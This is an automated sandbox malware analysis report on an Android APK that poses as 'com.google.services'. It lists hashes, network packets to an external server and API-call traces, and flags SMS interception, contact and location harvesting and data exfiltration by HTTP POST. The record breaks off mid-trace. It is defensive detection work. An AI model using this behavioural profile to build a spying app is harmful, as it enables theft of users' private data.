General Information |
---|
Analysis ID: | 1619 |
Start time: | 14:33:27 |
Start date: | 29/08/2013 |
Overall analysis duration: | 0h 4m 35s |
Report type: | full |
Sample file name: | c4c4077e9449147d754afd972e247efc.apk |
Cookbook file name: | timetick.jbs |
Analysis system description: | Android 4.0 EEE PC |
Signature Overview |
---|
Location Tracing: |
---|
Queries the phones location (GPS) | Show sources |
Networking: |
---|
Tries to download non-existing http data (HTTP/1.1 404 Not Found) | Show sources | ||
Urls found in memory or binary data | Show sources | ||
Uses HTTP for connecting to the internet | Show sources | ||
Checks an internet connection is available | Show sources | ||
Posts data to webserver | Show sources |
Remote Access Functionality: |
---|
May mount or unmount file systems (removable storage) | Show sources |
Stealing of Sensitive Information: |
---|
Leaking sensitive information via POST to a webserver | Show sources | ||
Queries SIM card contact information | Show sources | ||
Queries SMS data | Show sources | ||
Queries phone contact information | Show sources | ||
Registers a broadcast receiver to intercept incoming SMS | Show sources |
System Summary: |
---|
Requests potentially dangerous permissions | Show sources |
Virtual Machine Detection: |
---|
Accesses android OS build fields | Show sources |
Screenshot |
---|
Contacted Domains |
---|
No contacted domains info |
---|
Contacted IPs |
---|
No contacted IP infos |
---|
Static File Info |
---|
File type: | Zip archive data, at least v2.0 to extract |
File name: | c4c4077e9449147d754afd972e247efc.apk |
File size: | 333583 |
MD5: | c4c4077e9449147d754afd972e247efc |
SHA1: | 6a2e025b35b9d35fd5ce67c66fca69141d96f74e |
SHA256: | e275b06aa61cc9be5a5805200c33f357a7b6952fe379055305d73315a8f94e7c |
SHA512: | 99dc9afe37cca65304afdc9ccc671110faa9b24d95385d047698e7c756d0528a0c38120ae289103424149d5ff0b8628e6bb47b806d860af20e947b3c48196322 |
Static APK Info |
---|
General | |
---|---|
Label: | @02030002 |
Minium SDK required: | 8 |
Target SDK required: | 15 |
Version Code: | 1 |
Version Name: | 1 |
Package Name: | com.google.services |
Is Activity: | true |
Is Receiver: | true |
Is Service: | true |
Requests System Level Permissions: | false |
Play Store Compatible: | true |
Activities |
---|
Name | Is Entrypoint |
---|---|
com.google.services.turntest | true |
Receivers |
---|
|
|
Services |
---|
| |
|
Permission Requested |
---|
|
|
|
|
|
|
|
|
|
|
Certifcate |
---|
Name: | classes.dex |
Issuer: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
Subject: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
Resources |
---|
Name | Type |
---|---|
res/drawable/shelf_bkg.png | PNG image data, 480 x 800, 8-bit/color RGB, non-interlaced |
META-INF/CERT.SF | ASCII text, with CRLF line terminators |
META-INF/CERT.RSA | data |
AndroidManifest.xml | DBase 3 data file (5176 records) |
classes.dex | Dalvik dex file version 035 |
META-INF/MANIFEST.MF | ASCII text, with CRLF line terminators |
resources.arsc | data |
assets/m.txt | ISO-8859 text, with CRLF line terminators |
res/drawable/icon.png | PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced |
Network Behavior |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Aug 29, 2013 14:34:07.602720976 CEST | 15660 | 53 | 192.168.2.5 | 8.8.8.8 |
Aug 29, 2013 14:34:11.125786066 CEST | 53 | 15660 | 8.8.8.8 | 192.168.2.5 |
Aug 29, 2013 14:34:11.126379967 CEST | 55614 | 123 | 192.168.2.5 | 69.50.219.51 |
Aug 29, 2013 14:36:16.991627932 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:36:16.991662025 CEST | 80 | 53961 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:36:16.991779089 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:36:16.992645979 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:36:16.992660046 CEST | 80 | 53961 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:36:18.506315947 CEST | 80 | 53961 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:36:18.506499052 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:36:18.562443018 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:36:18.562576056 CEST | 80 | 53961 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:36:18.562683105 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:17.014399052 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:17.014436960 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:17.014539957 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:17.014961004 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:17.014976025 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.156872988 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.157063961 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:18.163759947 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:18.163795948 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.163908958 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:18.164450884 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:18.164469957 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.293632030 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.293751001 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:18.377223969 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:18.377332926 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.261519909 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:19.261676073 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.267971992 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.273830891 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.273859978 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:19.273947001 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.274719000 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.274740934 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:19.329368114 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:19.329488993 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:19.412782907 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:19.412900925 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:20.175087929 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:20.701576948 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:20.701740980 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:20.801310062 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:20.801430941 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:20.938031912 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 |
Aug 29, 2013 14:37:20.938155890 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:22.246565104 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 |
Aug 29, 2013 14:37:50.003504992 CEST | 40933 | 123 | 192.168.2.5 | 69.50.219.51 |
UDP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Aug 29, 2013 14:34:07.602720976 CEST | 15660 | 53 | 192.168.2.5 | 8.8.8.8 |
Aug 29, 2013 14:34:11.125786066 CEST | 53 | 15660 | 8.8.8.8 | 192.168.2.5 |
Aug 29, 2013 14:34:11.126379967 CEST | 55614 | 123 | 192.168.2.5 | 69.50.219.51 |
Aug 29, 2013 14:37:50.003504992 CEST | 40933 | 123 | 192.168.2.5 | 69.50.219.51 |
HTTP Request Dependency Graph |
---|
|
HTTP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP | Header | Total Bytes Transfered (KB) |
---|---|---|---|---|---|---|
Aug 29, 2013 14:36:16.992645979 CEST | 53961 | 80 | 192.168.2.5 | 64.78.161.133 | 0 | |
Aug 29, 2013 14:36:18.506315947 CEST | 80 | 53961 | 64.78.161.133 | 192.168.2.5 | 1 | |
Aug 29, 2013 14:37:17.014961004 CEST | 48357 | 80 | 192.168.2.5 | 64.78.161.133 | 2 | |
Aug 29, 2013 14:37:18.156872988 CEST | 80 | 48357 | 64.78.161.133 | 192.168.2.5 | 2 | |
Aug 29, 2013 14:37:18.164450884 CEST | 43920 | 80 | 192.168.2.5 | 64.78.161.133 | 3 | |
Aug 29, 2013 14:37:19.261519909 CEST | 80 | 43920 | 64.78.161.133 | 192.168.2.5 | 5 | |
Aug 29, 2013 14:37:19.274719000 CEST | 43574 | 80 | 192.168.2.5 | 64.78.161.133 | 5 | |
Aug 29, 2013 14:37:20.701576948 CEST | 80 | 43574 | 64.78.161.133 | 192.168.2.5 | 7 |
APK Behavior |
---|
Installation Messages |
---|
Name | Is Error |
---|---|
Running dexopt on: com.google.services; New package installed in /data/app/com.google.services-1.apk; Unknown permission READ_PHONE_STATE in package com.google.services; generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged- | false |
Started Services |
---|
Registered Receivers |
---|
|
|
Simulated Events |
---|
Type | Data |
---|---|
boot completed |
|
time tick |
|
incoming sms |
|
outgoing sms |
|
location change |
|
incoming call |
|
outgoing call |
|
time tick |
|
Dropped Files |
---|
Remote Pathway |
---|
/data/data/com.google.services/files/test.txt |
API: android.location.LocationManager->getLastKnownLocation | Show source |
---|
Name | Type | Value |
---|---|---|
provider | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.net.ConnectivityManager->getActiveNetworkInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.net.NetworkInfo |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.location.LocationManager->getBestProvider | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: com.google.services.AlarmService->registerReceiver | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.alarmReceiver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: com.google.services.AlarmService->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.location.LocationManager |
|
API: android.location.Criteria->setAccuracy | Show source |
---|
Name | Type | Value |
---|---|---|
accuracy | java.lang.Integer |
|
API: android.location.Criteria->setCostAllowed | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Boolean |
|
API: android.location.LocationManager->getLastKnownLocation | Show source |
---|
Name | Type | Value |
---|---|---|
provider | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.content.Intent->putExtras | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: com.google.services.AlarmService->sendBroadcast | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
API: android.location.LocationManager->requestLocationUpdates | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Long |
|
p2 | java.lang.Float |
|
p3 | com.google.services.AlarmService$1 |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.net.Uri->parse | Show source |
---|
Name | Type | Value |
---|---|---|
uriString | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.Uri$StringUri |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.Intent->putExtras | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: com.google.services.AlarmService->sendBroadcast | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
API: android.net.Uri->parse | Show source |
---|
Name | Type | Value |
---|---|---|
uriString | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.Uri$StringUri |
|
API: android.content.ContentResolver->query | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$StringUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.Intent->putExtras | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.os.Bundle |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: com.google.services.AlarmService->sendBroadcast | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
API: java.io.File-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.io.File |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.io.File |
|
API: java.io.File-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.io.File |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.io.File |
|
API: java.io.File->length | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Long |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.ContextImpl->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.ConnectivityManager |
|
API: android.net.ConnectivityManager->getActiveNetworkInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.net.NetworkInfo |
|
API: android.net.NetworkInfo->isAvailable | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: com.google.services.PhoneService->startService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.app.ContextImpl->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.net.ConnectivityManager |
|
API: android.net.ConnectivityManager->getActiveNetworkInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.net.NetworkInfo |
|
API: android.net.NetworkInfo->isAvailable | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: com.google.services.PhoneService->registerReceiver | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.sendReceiver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: com.google.services.turntest->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.ActivityManager |
|
API: com.google.services.turntest->startService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.google.services.turntest->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.ActivityManager |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.params.BasicHttpParams->setParameter | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
API: org.apache.http.impl.client.DefaultHttpClient->execute | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
API: org.apache.http.StatusLine->getStatusCode | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.google.services.turntest->setContentView | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.google.services.PageWidget |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
